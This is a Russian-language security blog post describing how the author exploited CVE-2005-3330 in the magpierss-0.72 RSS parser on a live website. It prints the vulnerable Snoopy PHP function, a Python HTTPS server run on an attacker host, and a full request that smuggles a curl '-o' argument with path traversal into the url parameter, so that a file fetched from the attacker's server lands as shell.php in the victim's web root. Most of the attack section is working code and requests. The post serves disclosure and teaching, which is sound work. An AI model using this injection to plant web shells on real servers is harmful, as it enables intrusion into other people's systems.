web

Пример эксплуатации уязвимости CVE-2005-3330

Хочется рассказать об эксплуатации одной старой известной уязвимости CVE-2005-3330, которую обнаружили в 2016 году на довольно популярном веб-сайте, который ведет свою историю с 2006 года. Могу лишь предположить что фреймворк с уязвимостью просто забыли удалить с сайта, хотя чем черт не шутит может быть и используют.


Итак. Уязвимость присутствует в парсере RSS magpierss-0.72, который в свою очередь использует библиотеку Snoopy. Пример эксплоита тут. Но он, как случается довольно часто, лишь намекает на то, как уязвимость можно эксплуатировать. Описание уязвимости говорит нам о том, что уязвимость проявляется при передаче пользовательских данных, а именно https-адреса стороннего веб-сайта в GET-параметре url.

Уязвимая функция

function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
 {
  if($this->passcookies && $this->_redirectaddr)
   $this->setcookies();

  $headers = array();  
     
  $URI_PARTS = parse_url($URI);
  if(empty($url))
   $url = "/";
  // GET ... header not needed for curl
  //$headers[] = $http_method." ".$url." ".$this->_httpversion;  
  if(!empty($this->agent))
   $headers[] = "User-Agent: ".$this->agent;
  if(!empty($this->host))
   $headers[] = "Host: ".$this->host;
  if(!empty($this->accept))
   $headers[] = "Accept: ".$this->accept;
  if(!empty($this->referer))
   $headers[] = "Referer: ".$this->referer;
  if(!empty($this->cookies))
  {   
   if(!is_array($this->cookies))
    $this->cookies = (array)$this->cookies;
 
   reset($this->cookies);
   if ( count($this->cookies) > 0 ) {
    $cookie_str = 'Cookie: ';
    foreach ( $this->cookies as $cookieKey => $cookieVal ) {
    $cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
    }
    $headers[] = substr($cookie_str,0,-2);
   }
  }
  if(!empty($this->rawheaders))
  {
   if(!is_array($this->rawheaders))
    $this->rawheaders = (array)$this->rawheaders;
   while(list($headerKey,$headerVal) = each($this->rawheaders))
    $headers[] = $headerKey.": ".$headerVal;
  }
  if(!empty($content_type)) {
   if ($content_type == "multipart/form-data")
    $headers[] = "Content-type: $content_type; boundary=".$this->_mime_boundary;
   else
    $headers[] = "Content-type: $content_type";
  }
  if(!empty($body)) 
   $headers[] = "Content-length: ".strlen($body);
  if(!empty($this->user) || !empty($this->pass)) 
   $headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);
   
  for($curr_header = 0; $curr_header < count($headers); $curr_header++) {
   $cmdline_params .= " -H "".$headers[$curr_header].""";
  }
                               
  if(!empty($body))
   $cmdline_params .= " -d "$body"";
  
  if($this->read_timeout > 0)
   $cmdline_params .= " -m ".$this->read_timeout;
  
  $headerfile = uniqid(time());
  
  # accept self-signed certs
  $cmdline_params .= " -k"; 
  exec($this->curl_path." -D "/tmp/$headerfile"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);

[ad name=»Responbl»]
Для того, чтобы проэксплуатировать уязвимость:

  1. У нас должен быть веб-сайт, который отдаст страничку по https. Такой веб-сайт мы можем поднять на Python’е за 5 секунд. Создаём скрипт https.py:
    import BaseHTTPServer, SimpleHTTPServer
    import ssl
    
    httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
    httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
    httpd.serve_forever()

    Для работы ему понадобится сертификат. Создадим самоподписанный сертификат следующей командой:

    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

    В корень со скриптом https.py положим скрипт index.php с любым интересным содержимым, например таким:

    <?php echo("hello world!"); ?>
  2. Мы должны знать путь, чтобы передать в параметр url то, что мы хотим:
    http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=

Теперь можно эксплуатировать. В нашем случае запрос выглядел следующим образом:

http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"

Что означает осуществление http-запроса к уязвимому сайту <host:port> с параметром url, в который мы передаём адрес странички на сайте атакующего https://<hacker_host:hacker_port>/index.php. Опытным путём установлено, что сайт положит содержимое файла index.php в файл shell.php корня сайта. Теперь сайт жертвы <host:port> содержит наш скрипт shell.php. Обратиться к нему можно так:

http://<host:port>/shell.php

Рекомендацией по исправлению является удаление неиспользуемого кода и устаревших фреймворков, проверка сайта на наличие бэкдоров, шеллкодов и т.п.

[ad name=»Responbl»]

Администрация сайта подтвердила наличие уязвимости и начала процесс исправления; разрешила опубликовать статью с обезличенной информацией.

Click to rate this post!
[Total: 11 Average: 3.5]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

4 месяца ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

5 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

5 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

5 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

5 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

5 месяцев ago